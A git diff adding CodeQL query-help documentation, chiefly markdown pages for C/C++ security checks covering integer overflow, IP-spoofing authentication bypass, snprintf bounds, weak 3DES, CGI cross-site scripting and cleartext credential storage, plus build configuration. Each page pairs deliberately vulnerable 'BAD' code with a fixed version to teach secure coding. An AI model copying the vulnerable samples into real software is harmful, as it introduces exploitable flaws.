100644 docs/language/query-help/csharp/SqlInjection.md create mode 100644 docs/language/query-help/csharp/StoredCommandInjection.md create mode 100644 docs/language/query-help/csharp/StoredLDAPInjection.md create mode 100644 docs/language/query-help/csharp/StoredXPathInjection.md create mode 100644 docs/language/query-help/csharp/StoredXSS.md create mode 100644 docs/language/query-help/csharp/TaintedPath.md create mode 100644 docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md create mode 100644 docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md create mode 100644 docs/language/query-help/csharp/UncontrolledFormatString.md create mode 100644 docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md create mode 100644 docs/language/query-help/csharp/UntrustedDataInsecureXml.md create mode 100644 docs/language/query-help/csharp/UrlRedirect.md create mode 100644 docs/language/query-help/csharp/UseOfFileUpload.md create mode 100644 docs/language/query-help/csharp/ValueShadowing.md create mode 100644 docs/language/query-help/csharp/ValueShadowingServerVariable.md create mode 100644 docs/language/query-help/csharp/WeakEncryption.md create mode 100644 docs/language/query-help/csharp/XMLInjection.md create mode 100644 docs/language/query-help/csharp/XPathInjection.md create mode 100644 docs/language/query-help/csharp/XSS.md create mode 100644 docs/language/query-help/csharp/ZipSlip.md create mode 100644 docs/language/query-help/go.rst create mode 100644 docs/language/query-help/go/AllocationSizeOverflow.md create mode 100644 docs/language/query-help/go/BadRedirectCheck.md create mode 100644 docs/language/query-help/go/CleartextLogging.md create mode 100644 docs/language/query-help/go/CommandInjection.md create mode 100644 docs/language/query-help/go/ConstantOauth2State.md create mode 100644 docs/language/query-help/go/DisabledCertificateCheck.md create mode 100644 docs/language/query-help/go/EmailInjection.md create mode 100644 docs/language/query-help/go/HardcodedCredentials.md create mode 100644 docs/language/query-help/go/IncompleteHostnameRegexp.md create mode 100644 docs/language/query-help/go/IncompleteUrlSchemeCheck.md create mode 100644 docs/language/query-help/go/IncorrectIntegerConversion.md create mode 100644 docs/language/query-help/go/InsecureHostKeyCallback.md create mode 100644 docs/language/query-help/go/InsecureTLS.md create mode 100644 docs/language/query-help/go/MissingRegexpAnchor.md create mode 100644 docs/language/query-help/go/OpenUrlRedirect.md create mode 100644 docs/language/query-help/go/ReflectedXss.md create mode 100644 docs/language/query-help/go/RequestForgery.md create mode 100644 docs/language/query-help/go/SqlInjection.md create mode 100644 docs/language/query-help/go/StringBreak.md create mode 100644 docs/language/query-help/go/TaintedPath.md create mode 100644 docs/language/query-help/go/XPathInjection.md create mode 100644 docs/language/query-help/go/ZipSlip.md create mode 100644 docs/language/query-help/index.rst create mode 100644 docs/language/query-help/java.rst create mode 100644 docs/language/query-help/java/ArithmeticTainted.md create mode 100644 docs/language/query-help/java/ArithmeticUncontrolled.md create mode 100644 docs/language/query-help/java/BrokenCryptoAlgorithm.md create mode 100644 docs/language/query-help/java/CleartextStorageCookie.md create mode 100644 docs/language/query-help/java/CleartextStorageProperties.md create mode 100644 docs/language/query-help/java/ComparisonWithWiderType.md create mode 100644 docs/language/query-help/java/ConditionalBypass.md create mode 100644 docs/language/query-help/java/ExecRelative.md create mode 100644 docs/language/query-help/java/ExecTainted.md create mode 100644 docs/language/query-help/java/ExecUnescaped.md create mode 100644 docs/language/query-help/java/ExternallyControlledFormatString.md create mode 100644 docs/language/query-help/java/HardcodedCredentialsApiCall.md create mode 100644 docs/language/query-help/java/ImproperValidationOfArrayConstruction.md create mode 100644 docs/language/query-help/java/ImproperValidationOfArrayIndex.md create mode 100644 docs/language/query-help/java/InfiniteLoop.md create mode 100644 docs/language/query-help/java/InformationLoss.md create mode 100644 docs/language/query-help/java/InsecureCookie.md create mode 100644 docs/language/query-help/java/InsecureDependencyResolution.md create mode 100644 docs/language/query-help/java/IntMultToLong.md create mode 100644 docs/language/query-help/java/LdapInjection.md create mode 100644 docs/language/query-help/java/MaybeBrokenCryptoAlgorithm.md create mode 100644 docs/language/query-help/java/NettyResponseSplitting.md create mode 100644 docs/language/query-help/java/NumericCastTainted.md create mode 100644 docs/language/query-help/java/PotentiallyDangerousFunction.md create mode 100644 docs/language/query-help/java/PredictableSeed.md create mode 100644 docs/language/query-help/java/ReadingFromWorldWritableFile.md create mode 100644 docs/language/query-help/java/ResponseSplitting.md create mode 100644 docs/language/query-help/java/SocketAuthRace.md create mode 100644 docs/language/query-help/java/SpringCSRFProtection.md create mode 100644 docs/language/query-help/java/SqlTainted.md create mode 100644 docs/language/query-help/java/SqlUnescaped.md create mode 100644 docs/language/query-help/java/StackTraceExposure.md create mode 100644 docs/language/query-help/java/TOCTOURace.md create mode 100644 docs/language/query-help/java/TaintedPath.md create mode 100644 docs/language/query-help/java/TaintedPermissionsCheck.md create mode 100644 docs/language/query-help/java/UnreleasedLock.md create mode 100644 docs/language/query-help/java/UnsafeDeserialization.md create mode 100644 docs/language/query-help/java/UrlRedirect.md create mode 100644 docs/language/query-help/java/XSS.md create mode 100644 docs/language/query-help/java/XXE.md create mode 100644 docs/language/query-help/java/ZipSlip.md create mode 100644 docs/language/query-help/javascript.rst create mode 100644 docs/language/query-help/javascript/AllowRunningInsecureContent.md create mode 100644 docs/language/query-help/javascript/BadRandomness.md create mode 100644 docs/language/query-help/javascript/BrokenCryptoAlgorithm.md create mode 100644 docs/language/query-help/javascript/BuildArtifactLeak.md create mode 100644 docs/language/query-help/javascript/CleartextLogging.md create mode 100644 docs/language/query-help/javascript/CleartextStorage.md create mode 100644 docs/language/query-help/javascript/ClientSideUrlRedirect.md create mode 100644 docs/language/query-help/javascript/CodeInjection.md create mode 100644 docs/language/query-help/javascript/CommandInjection.md create mode 100644 docs/language/query-help/javascript/ConditionalBypass.md create mode 100644 docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md create mode 100644 docs/language/query-help/javascript/DisablingCertificateValidation.md create mode 100644 docs/language/query-help/javascript/DisablingSce.md create mode 100644 docs/language/query-help/javascript/DisablingWebSecurity.md create mode 100644 docs/language/query-help/javascript/DoubleEscaping.md create mode 100644 docs/language/query-help/javascript/ExceptionXss.md create mode 100644 docs/language/query-help/javascript/FileAccessToHttp.md create mode 100644 docs/language/query-help/javascript/HardcodedCredentials.md create mode 100644 docs/language/query-help/javascript/HardcodedDataInterpretedAsCode.md create mode 100644 docs/language/query-help/javascript/HostHeaderPoisoningInEmailGeneration.md create mode 100644 docs/language/query-help/javascript/HttpToFileAccess.md create mode 100644 docs/language/query-help/javascript/IdentityReplacement.md create mode 100644 docs/language/query-help/javascript/ImproperCodeSanitization.md create mode 100644 docs/language/query-help/javascript/IncompleteHostnameRegExp.md create mode 100644 docs/language/query-help/javascript/IncompleteHtmlAttributeSanitization.md create mode 100644 docs/language/query-help/javascript/IncompleteMultiCharacterSanitization.md create mode 100644 docs/language/query-help/javascript/IncompleteSanitization.md create mode 100644 docs/language/query-help/javascript/IncompleteUrlSchemeCheck.md create mode 100644 docs/language/query-help/javascript/IncompleteUrlSubstringSanitization.md create mode 100644 docs/language/query-help/javascript/IncorrectSuffixCheck.md create mode 100644 docs/language/query-help/javascript/IndirectCommandInjection.md create mode 100644 docs/language/query-help/javascript/InsecureDownload.md create mode 100644 docs/language/query-help/javascript/InsecureRandomness.md create mode 100644 docs/language/query-help/javascript/InsecureUrlWhitelist.md create mode 100644 docs/language/query-help/javascript/InsufficientPasswordHash.md create mode 100644 docs/language/query-help/javascript/LoopBoundInjection.md create mode 100644 docs/language/query-help/javascript/MissingCsrfMiddleware.md create mode 100644 docs/language/query-help/javascript/MissingRateLimiting.md create mode 100644 docs/language/query-help/javascript/MissingRegExpAnchor.md create mode 100644 docs/language/query-help/javascript/PasswordInConfigurationFile.md create mode 100644 docs/language/query-help/javascript/PolynomialReDoS.md create mode 100644 docs/language/query-help/javascript/PostMessageStar.md create mode 100644 docs/language/query-help/javascript/PrivateFileExposure.md create mode 100644 docs/language/query-help/javascript/PrototypePollution.md create mode 100644 docs/language/query-help/javascript/PrototypePollutionUtility.md create mode 100644 docs/language/query-help/javascript/ReDoS.md create mode 100644 docs/language/query-help/javascript/ReflectedXss.md create mode 100644 docs/language/query-help/javascript/RegExpInjection.md create mode 100644 docs/language/query-help/javascript/RemotePropertyInjection.md create mode 100644 docs/language/query-help/javascript/RequestForgery.md create mode 100644 docs/language/query-help/javascript/ServerSideUrlRedirect.md create mode 100644 docs/language/query-help/javascript/ShellCommandInjectionFromEnvironment.md create mode 100644 docs/language/query-help/javascript/SqlInjection.md create mode 100644 docs/language/query-help/javascript/StackTraceExposure.md create mode 100644 docs/language/query-help/javascript/StoredXss.md create mode 100644 docs/language/query-help/javascript/TaintedFormatString.md create mode 100644 docs/language/query-help/javascript/TaintedPath.md create mode 100644 docs/language/query-help/javascript/TargetBlank.md create mode 100644 docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md create mode 100644 docs/language/query-help/javascript/UnsafeDeserialization.md create mode 100644 docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md create mode 100644 docs/language/query-help/javascript/UnsafeHtmlExpansion.md create mode 100644 docs/language/query-help/javascript/UnsafeJQueryPlugin.md create mode 100644 docs/language/query-help/javascript/UnsafeShellCommandConstruction.md create mode 100644 docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md create mode 100644 docs/language/query-help/javascript/UselessRegExpCharacterEscape.md create mode 100644 docs/language/query-help/javascript/UselessUseOfCat.md create mode 100644 docs/language/query-help/javascript/XmlBomb.md create mode 100644 docs/language/query-help/javascript/XpathInjection.md create mode 100644 docs/language/query-help/javascript/Xss.md create mode 100644 docs/language/query-help/javascript/XssThroughDom.md create mode 100644 docs/language/query-help/javascript/Xxe.md create mode 100644 docs/language/query-help/javascript/ZipSlip.md create mode 100644 docs/language/query-help/python.rst create mode 100644 docs/language/query-help/python/BindToAllInterfaces.md create mode 100644 docs/language/query-help/python/BrokenCryptoAlgorithm.md create mode 100644 docs/language/query-help/python/CleartextLogging.md create mode 100644 docs/language/query-help/python/CleartextStorage.md create mode 100644 docs/language/query-help/python/CodeInjection.md create mode 100644 docs/language/query-help/python/CommandInjection.md create mode 100644 docs/language/query-help/python/FlaskDebug.md create mode 100644 docs/language/query-help/python/HardcodedCredentials.md create mode 100644 docs/language/query-help/python/IncompleteHostnameRegExp.md create mode 100644 docs/language/query-help/python/IncompleteUrlSubstringSanitization.md create mode 100644 docs/language/query-help/python/InsecureDefaultProtocol.md create mode 100644 docs/language/query-help/python/InsecureProtocol.md create mode 100644 docs/language/query-help/python/InsecureTemporaryFile.md create mode 100644 docs/language/query-help/python/Jinja2WithoutEscaping.md create mode 100644 docs/language/query-help/python/MissingHostKeyValidation.md create mode 100644 docs/language/query-help/python/PathInjection.md create mode 100644 docs/language/query-help/python/ReflectedXss.md create mode 100644 docs/language/query-help/python/RequestWithoutValidation.md create mode 100644 docs/language/query-help/python/SqlInjection.md create mode 100644 docs/language/query-help/python/StackTraceExposure.md create mode 100644 docs/language/query-help/python/TarSlip.md create mode 100644 docs/language/query-help/python/UnsafeDeserialization.md create mode 100644 docs/language/query-help/python/UrlRedirect.md create mode 100644 docs/language/query-help/python/UseofInput.md create mode 100644 docs/language/query-help/python/WeakCrypto.md create mode 100644 docs/language/query-help/python/WeakFilePermissions.md create mode 100644 docs/language/query-help/query-list.rst create mode 100644 docs/language/query-help/query-lists/query-list.csv create mode 100644 docs/language/query-help/toc-cpp.rst create mode 100644 docs/language/query-help/toc-csharp.rst create mode 100644 docs/language/query-help/toc-go.rst create mode 100644 docs/language/query-help/toc-java.rst create mode 100644 docs/language/query-help/toc-javascript.rst create mode 100644 docs/language/query-help/toc-python.rst diff --git a/docs/language/query-help/conf.py b/docs/language/query-help/conf.py new file mode 100644 index 00000000000..c108574413f --- /dev/null +++ b/docs/language/query-help/conf.py @@ -0,0 +1,85 @@ +# -*- coding: utf-8 -*- +# +# Learn CodeQL documentation build configuration file, created by +# on Tuesday Nov 13 2018. +# +# This file is execfile()d with the current directory set to its +# containing dir. +# +# Note that not all possible configuration values are present in this +# autogenerated file. +# +# All configuration values have a default; values that are commented out +# serve to show the default. + +# For details of all possible config values, +# see https://www.sphinx-doc.org/en/master/usage/configuration.html + +################################################################################# +# +# Modified 22052019. + +# The configuration values below are specific to the learning ql project +# To amend html_theme_options, update version/release number, or add more sphinx extensions, +# refer to code/documentation/ql-documentation/global-sphinx-files/global-conf.py +# +################################################################################## + +# -- Project-specific configuration ----------------------------------- + +import os + +# Import global config values +with open(os.path.abspath("../global-sphinx-files/global-conf.py")) as in_file: + exec(in_file.read()) + +# Set QL as the default language for highlighting code. Set to none to disable +# syntax highlighting. If omitted or left blank, it defaults to Python 3. +# highlight_language = 'ql' + +# The master toctree document. +master_doc = 'index' + +# General information about the project. +project = u'CodeQL query help' + +# Add md parser to process query help markdown files + +source_parsers = { + '.md': 'recommonmark.parser.CommonMarkParser', +} + +source_suffix = ['.rst', '.md'] + + +# -- Project-specifc options for HTML output ---------------------------------------------- + +# The version info for this project, if different from version and release in main conf.py file. +# The short X.Y version. +# version = u'1.18' +# The full version, including alpha/beta/rc tags. +# release = u'1.18' + +# -- Currently unused, but potentially useful, configs-------------------------------------- + +# Add any paths that contain custom themes here, relative to this directory. +#html_theme_path = [] + +# A shorter title for the navigation bar. Default is the same as html_title. +#html_short_title = None + +# The name of an image file (relative to this directory) to place at the top +# of the sidebar. +#html_logo = None + +# Custom sidebar templates, maps document names to template names. +#html_sidebars = {} + +# Add any extra paths that contain custom files (such as robots.txt or +# .htaccess) here, relative to this directory. These files are copied +# directly to the root of the documentation. +#html_extra_path = [] + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +exclude_patterns = ['toc-*'] \ No newline at end of file diff --git a/docs/language/query-help/cpp.rst b/docs/language/query-help/cpp.rst new file mode 100644 index 00000000000..6240f0d4418 --- /dev/null +++ b/docs/language/query-help/cpp.rst @@ -0,0 +1,5 @@ +C and C++ query help +===================== + +.. include:: toc-cpp.rst + \ No newline at end of file diff --git a/docs/language/query-help/cpp/AllocaInLoop.md b/docs/language/query-help/cpp/AllocaInLoop.md new file mode 100644 index 00000000000..36d8ad42f64 --- /dev/null +++ b/docs/language/query-help/cpp/AllocaInLoop.md @@ -0,0 +1,53 @@ +# Call to alloca in a loop + +``` +ID: cpp/alloca-in-loop +Kind: problem +Severity: warning +Precision: high +Tags: reliability correctness security external/cwe/cwe-770 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/AllocaInLoop.ql) + +The `alloca` macro allocates memory by expanding the current stack frame. Invoking `alloca` within a loop may lead to a stack overflow because the memory is not released until the function returns. + + +## Recommendation +Consider invoking `alloca` once outside the loop, or using `malloc` or `new` to allocate memory on the heap if the allocation must be done inside the loop. + + +## Example +The variable `path` is allocated inside a loop with `alloca`. Consequently, storage for all copies of the path is present in the stack frame until the end of the function. + + +```cpp +char *dir_path; +char **dir_entries; +int count; + +for (int i = 0; i < count; i++) { + char *path = (char*)alloca(strlen(dir_path) + strlen(dir_entry[i]) + 2); + // use path +} + +``` +In the revised example, `path` is allocated with `malloc` and freed at the end of the loop. + + +```cpp +char *dir_path; +char **dir_entries; +int count; + +for (int i = 0; i < count; i++) { + char *path = (char*)malloc(strlen(dir_path) + strlen(dir_entry[i]) + 2); + // use path + free(path); +} + +``` + +## References +* Linux Programmer's Manual: [ALLOCA(3)](http://man7.org/linux/man-pages/man3/alloca.3.html). +* Common Weakness Enumeration: [CWE-770](https://cwe.mitre.org/data/definitions/770.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/ArithmeticUncontrolled.md b/docs/language/query-help/cpp/ArithmeticUncontrolled.md new file mode 100644 index 00000000000..39f00fc3b28 --- /dev/null +++ b/docs/language/query-help/cpp/ArithmeticUncontrolled.md @@ -0,0 +1,50 @@ +# Uncontrolled data in arithmetic expression + +``` +ID: cpp/uncontrolled-arithmetic +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-190 external/cwe/cwe-191 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-190/ArithmeticUncontrolled.ql) + +Performing calculations on uncontrolled data can result in integer overflows unless the input is validated. + +If the data is not under your control, and can take extremely large values, even arithmetic operations that would usually result in a small change in magnitude may result in overflows. + + +## Recommendation +Always guard against overflow in arithmetic operations on uncontrolled data by doing one of the following: + +* Validate the data. +* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type, for example `INT_MAX`. +* Use a wider type, so that larger input values do not cause overflow. + +## Example +In this example, a random integer is generated. Because the value is not controlled by the programmer, it could be extremely large. Performing arithmetic operations on this value could therefore cause an overflow. To avoid this happening, the example shows how to perform a check before performing an arithmetic operation. + + +```c +int main(int argc, char** argv) { + int i = rand(); + // BAD: potential overflow + int j = i + 1000; + + // ... + + int n = rand(); + int k; + // GOOD: use a guard to prevent overflow + if (n < INT_MAX-1000) + k = n + 1000; + else + k = INT_MAX; +} + +``` + +## References +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-191](https://cwe.mitre.org/data/definitions/191.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/AuthenticationBypass.md b/docs/language/query-help/cpp/AuthenticationBypass.md new file mode 100644 index 00000000000..ad539c508d7 --- /dev/null +++ b/docs/language/query-help/cpp/AuthenticationBypass.md @@ -0,0 +1,61 @@ +# Authentication bypass by spoofing + +``` +ID: cpp/user-controlled-bypass +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-290 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-290/AuthenticationBypass.ql) + +Code which relies on an IP address or domain name for authentication can be exploited by an attacker who spoofs their address. + + +## Recommendation +IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication. Make sure that other authentication methods are also in place. + + +## Example +In this example (taken from [CWE-290: Authentication Bypass by Spoofing](http://cwe.mitre.org/data/definitions/290.html)), the client is authenticated by checking that its IP address is `127.0.0.1`. An attacker might be able to bypass this authentication by spoofing their IP address. + + +```cpp + +#define BUFFER_SIZE (4 * 1024) + +void receiveData() +{ + int sock; + sockaddr_in addr, addr_from; + char buffer[BUFFER_SIZE]; + int msg_size; + socklen_t addr_from_len; + + // configure addr + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons(1234); + addr.sin_addr.s_addr = INADDR_ANY; + + // create and bind the socket + sock = socket(AF_INET, SOCK_DGRAM, 0); + bind(sock, (sockaddr *)&addr, sizeof(addr)); + + // receive message + addr_from_len = sizeof(addr_from); + msg_size = recvfrom(sock, buffer, BUFFER_SIZE, 0, (sockaddr *)&addr_from, &addr_from_len); + + // BAD: the address is controllable by the user, so it + // could be spoofed to bypass the security check below. + if ((msg_size > 0) && (strcmp("127.0.0.1", inet_ntoa(addr_from.sin_addr)) == 0)) + { + // ... + } +} + +``` + +## References +* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/BadAdditionOverflowCheck.md b/docs/language/query-help/cpp/BadAdditionOverflowCheck.md new file mode 100644 index 00000000000..1ecc9184f3d --- /dev/null +++ b/docs/language/query-help/cpp/BadAdditionOverflowCheck.md @@ -0,0 +1,46 @@ +# Bad check for overflow of integer addition + +>ID: cpp/bad-addition-overflow-check +> +>Kind: problem +> +>Severity: error +> +>Precision: very-high +>Tags: reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 + +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Arithmetic/BadAdditionOverflowCheck.ql) + +Checking for overflow of integer addition needs to be done with care, because automatic type promotion can prevent the check from working as intended, with the same value (`true` or `false`) always being returned. + + +## Recommendation +Use an explicit cast to make sure that the result of the addition is not implicitly converted to a larger type. + + +## Example + +```cpp +bool checkOverflow(unsigned short x, unsigned short y) { + // BAD: comparison is always false due to type promotion + return (x + y < x); +} + +``` +On a typical architecture where `short` is 16 bits and `int` is 32 bits, the operands of the addition are automatically promoted to `int`, so it cannot overflow and the result of the comparison is always false. + +The code below implements the check correctly, by using an explicit cast to make sure that the result of the addition is `unsigned short` (which may overflow, in which case the comparison would evaluate to `true`). + + +```cpp +bool checkOverflow(unsigned short x, unsigned short y) { + return ((unsigned short)(x + y) < x); // GOOD: explicit cast +} + +``` + +## References +* [Preserving Rules](http://c-faq.com/expr/preservingrules.html) +* [Understand integer conversion rules](https://www.securecoding.cert.org/confluence/plugins/servlet/mobile#content/view/20086942) +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/BadlyBoundedWrite.md b/docs/language/query-help/cpp/BadlyBoundedWrite.md new file mode 100644 index 00000000000..05223acc7c5 --- /dev/null +++ b/docs/language/query-help/cpp/BadlyBoundedWrite.md @@ -0,0 +1,42 @@ +# Badly bounded write + +``` +ID: cpp/badly-bounded-write +Kind: problem +Severity: error +Precision: high +Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/BadlyBoundedWrite.ql) + +The program performs a buffer copy or write operation with an incorrect upper limit on the size of the copy. A sufficiently long input will overflow the target buffer. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. + + +## Recommendation +Use preprocessor defines to specify the size of buffers, and use the same defines as arguments to `strncpy`, `snprintf` etc. This technique will ensure that buffer sizes are always specified correctly so that no overflow occurs. + + +## Example + +```c +void congratulateUser(const char *userName) +{ + char buffer[80]; + + // BAD: even though snprintf is used, this could overflow the buffer + // because the size specified is too large. + snprintf(buffer, 256, "Congratulations, %s!", userName); + + MessageBox(hWnd, buffer, "New Message", MB_OK); +} +``` +In this example, the developer has used `snprintf` to control the maximum number of characters that can be written to `buffer`. Unfortunately, perhaps due to modifications since the code was first written, a limited buffer overrun can still occur because the size argument to `snprintf` is larger than the actual size of the buffer. + +To fix the problem, either the second argument to `snprintf` should be changed to 80, or the buffer extended to 256 characters. A further improvement is to use a preprocessor define so that the size is only specified in one place, potentially preventing future recurrence of this issue. + + +## References +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). +* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/BrokenCryptoAlgorithm.md b/docs/language/query-help/cpp/BrokenCryptoAlgorithm.md new file mode 100644 index 00000000000..05f08d4667d --- /dev/null +++ b/docs/language/query-help/cpp/BrokenCryptoAlgorithm.md @@ -0,0 +1,46 @@ +# Use of a broken or risky cryptographic algorithm + +``` +ID: cpp/weak-cryptographic-algorithm +Kind: problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.ql) + +Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted. + +Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that an attacker may be able to easily decrypt the encrypted data. + + +## Recommendation +Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. + + +## Example +The following code shows an example of using the `advapi` windows API to decrypt some data. When creating a key, you must specify which algorithm to use. The first example uses DES which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. + + +```c +void advapi() { + HCRYPTPROV hCryptProv; + HCRYPTKEY hKey; + HCRYPTHASH hHash; + // other preparation goes here + + // BAD: use 3DES for key + CryptDeriveKey(hCryptProv, CALG_3DES, hHash, 0, &hKey); + + // GOOD: use AES + CryptDeriveKey(hCryptProv, CALG_AES_256, hHash, 0, &hKey); +} + + +``` + +## References +* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). +* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CastArrayPointerArithmetic.md b/docs/language/query-help/cpp/CastArrayPointerArithmetic.md new file mode 100644 index 00000000000..a878125a384 --- /dev/null +++ b/docs/language/query-help/cpp/CastArrayPointerArithmetic.md @@ -0,0 +1,48 @@ +# Upcast array used in pointer arithmetic + +``` +ID: cpp/upcast-array-pointer-arithmetic +Kind: path-problem +Severity: warning +Precision: high +Tags: correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Conversion/CastArrayPointerArithmetic.ql) + +A pointer to a derived class may be implicitly converted to a pointer to its base type when passed as an argument to a function expecting a pointer to the base type. If pointer arithmetic or an array dereference is then used, it will be performed using the size of the base type. This can lead to reading data from unexpected fields in the derived type. + + +## Recommendation +Only convert pointers to single objects. If you must work with a sequence of objects that are converted to a base type, use an array of pointers rather than a pointer to an array. + + +## Example + +```cpp +class Base { +public: + int x; +} + +class Derived: public Base { +public: + int y; +}; + +void dereference_base(Base *b) { + b[2].x; +} + +void dereference_derived(Derived *d) { + d[2].x; +} + +void test () { + Derived[4] d; + dereference_base(d); // BAD: implicit conversion to Base* + + dereference_derived(d); // GOOD: implicit conversion to Derived*, which will be the right size +} + +``` \ No newline at end of file diff --git a/docs/language/query-help/cpp/CgiXss.md b/docs/language/query-help/cpp/CgiXss.md new file mode 100644 index 00000000000..6337040a100 --- /dev/null +++ b/docs/language/query-help/cpp/CgiXss.md @@ -0,0 +1,54 @@ +# CGI script vulnerable to cross-site scripting + +``` +ID: cpp/cgi-xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql) + +Directly writing an HTTP request parameter back to a web page allows for a cross-site scripting vulnerability. The data is displayed in a user's web browser as belonging to one site, but it is provided by some other site that the user browses to. In effect, such an attack allows one web site to insert content in the other one. + +For web servers implemented with the Common Gateway Interface (CGI), HTTP parameters are supplied via the `QUERY_STRING` environment variable. + + +## Recommendation +To guard against cross-site scripting, consider escaping special characters before writing the HTTP parameter back to the page. + + +## Example +In the following example, the `bad_server` writes a parameter directly back to the HTML page that the user will see. The `good_server` first escapes any HTML special characters before writing to the HTML page. + + +```c +void bad_server() { + char* query = getenv("QUERY_STRING"); + puts("

Query results for "); + // BAD: Printing out an HTTP parameter with no escaping + puts(query); + puts("\n

\n"); + puts(do_search(query)); +} + +void good_server() { + char* query = getenv("QUERY_STRING"); + puts("

Query results for "); + // GOOD: Escape HTML characters before adding to a page + char* query_escaped = escape_html(query); + puts(query_escaped); + free(query_escaped); + + puts("\n

\n"); + puts(do_search(query)); +} + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* IETF Tools: [The Common Gateway Specification (CGI)](http://tools.ietf.org/html/draft-robinson-www-interface-00). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CleartextBufferWrite.md b/docs/language/query-help/cpp/CleartextBufferWrite.md new file mode 100644 index 00000000000..6b3968157e6 --- /dev/null +++ b/docs/language/query-help/cpp/CleartextBufferWrite.md @@ -0,0 +1,45 @@ +# Cleartext storage of sensitive information in buffer + +``` +ID: cpp/cleartext-storage-buffer +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-312 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-311/CleartextBufferWrite.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored, especially before writing to a file. It may be wise to encrypt information before it is put into a buffer that may be readable in memory. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + + +## Example +The following example shows two ways of storing user credentials in a file. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are encrypted before storing them. + + +```c +void writeCredentials() { + char *password = "cleartext password"; + FILE* file = fopen("credentials.txt", "w"); + + // BAD: write password to disk in cleartext + fputs(password, file); + + // GOOD: encrypt password first + char *encrypted = encrypt(password); + fputs(encrypted, file); +} + + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CleartextFileWrite.md b/docs/language/query-help/cpp/CleartextFileWrite.md new file mode 100644 index 00000000000..1fbe122b393 --- 